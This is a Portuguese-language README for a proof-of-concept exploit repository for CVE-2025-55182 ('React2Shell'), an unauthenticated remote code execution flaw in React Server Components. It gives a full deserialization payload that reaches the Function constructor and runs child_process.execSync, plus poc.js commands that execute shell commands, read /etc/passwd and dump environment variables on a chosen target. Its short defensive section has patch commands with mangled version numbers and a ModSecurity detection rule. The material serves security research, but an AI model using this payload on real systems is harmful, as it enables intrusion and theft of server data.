
Prova de conceito de exploit para CVE-2025-55182 (React2Shell), demonstrando execução remota de código não autenticada em React Server Components via desserialização do protocolo Flight. Inclui configuração de servidor vulnerável e scripts de detecção.
| Item | Descrição |
|---|
| CVE ID | CVE-2025-55182 |
| Apelido | React2Shell |
| Pontuação CVSS | 10.0 (Crítico - gravidade máxima) |
| Tipo de vulnerabilidade | Unauthenticated Remote Code Execution (RCE) |
| Descoberto por | Lachlan Davidson |
| Data de divulgação | 3 de dezembro de 2025 |
react-server-dom-webpack: 19.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0, 19.1.0, 19.1.1, 19.2.0CVE-2025-55182/
├── README.md # Este arquivo
├── vulnerable-server/ # Servidor Next.js vulnerável
│ ├── package.json
│ ├── next.config.js
│ ├── tsconfig.json
│ └── app/
│ ├── layout.tsx
│ ├── page.tsx
│ └── actions.ts # Server Action
├── exploit/ # PoC de ataque
│ ├── package.json
│ ├── poc.js # Script de ataque RCE
│ └── check-vulnerability.js # Script de verificação de vulnerabilidade
└── React2Shell-CVE-2025-55182-original-poc/ # Referência ao PoC original
# Instalar dependências
cd vulnerable-server
npm install
# Executar servidor em modo de desenvolvimento (porta 3000)
npm run dev
O servidor será executado em http://localhost:3000.
Em um novo terminal:
# Instalar dependências
cd exploit
npm install
# Verificar vulnerabilidade
npm run check
# Executar PoC (modo de teste)
npm run exploit
node poc.js -m test
# macOS
node poc.js -m calc
# Linux
node poc.js -m calc -c linux
# Windows
node poc.js -m calc -c windows
# Executar comando id
node poc.js -t http://localhost:3000 -m rce -c "id"
# Ler arquivo
node poc.js -t http://localhost:3000 -m rce -c "cat /etc/passwd"
# Informações do sistema
node poc.js -t http://localhost:3000 -m rce -c "uname -a"
node poc.js -t http://localhost:3000 -m env
node poc.js -m custom -c "require('fs').readFileSync('/etc/passwd').toString()"
Ocorre quando o protocolo Flight do React Server Components desserializa dados enviados pelo cliente.
A função requireModule confia nos nomes de propriedades enviados pelo cliente sem validação
→ Ao executar moduleExports[metadata[NAME]], não há verificação hasOwnProperty
→ Possível manipulação da cadeia de protótipos (Server-Side Prototype Pollution)
→ Obtenção do construtor Function → RCE
$@x aciona desserialização - Obtém referência ao objeto Chunk.thenstatus: resolved_model_response, _formData, etc.$1:constructor:constructornew Function(código malicioso){
'0': '$1',
'1': {
'status': 'resolved_model',
'reason': 0,
'_response': '$4',
'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then': '$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix': 'process.mainModule.require("child_process").execSync("id")//',
'_formData': {
'get': '$3:constructor:constructor'
},
'_chunks': '$2:_response:_chunks'
}
}
# Usuários da versão 15.0.x
npm install [email protected]
# Usuários da versão 15.1.x
npm install [email protected]
# Usuários da versão 15.2.x
npm install [email protected]
npm install [email protected]
npm install [email protected]
npm install [email protected]
POSTNext-Actionmultipart/form-data$@, resolved_model, constructor no corpo# Detectar payload Flight suspeito
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
"id:1001,phase:2,deny,status:403,\
chain"
SecRule REQUEST_BODY "@rx constructor.*constructor" \
"t:lowercase"
Este projeto é fornecido apenas para fins educacionais e de pesquisa. O uso para fins maliciosos é proibido.
Atenção: Se você encontrar esta vulnerabilidade em um ambiente real, aplique o patch imediatamente. Se um ataque for confirmado, reporte à equipe de segurança e realize uma investigação de violação.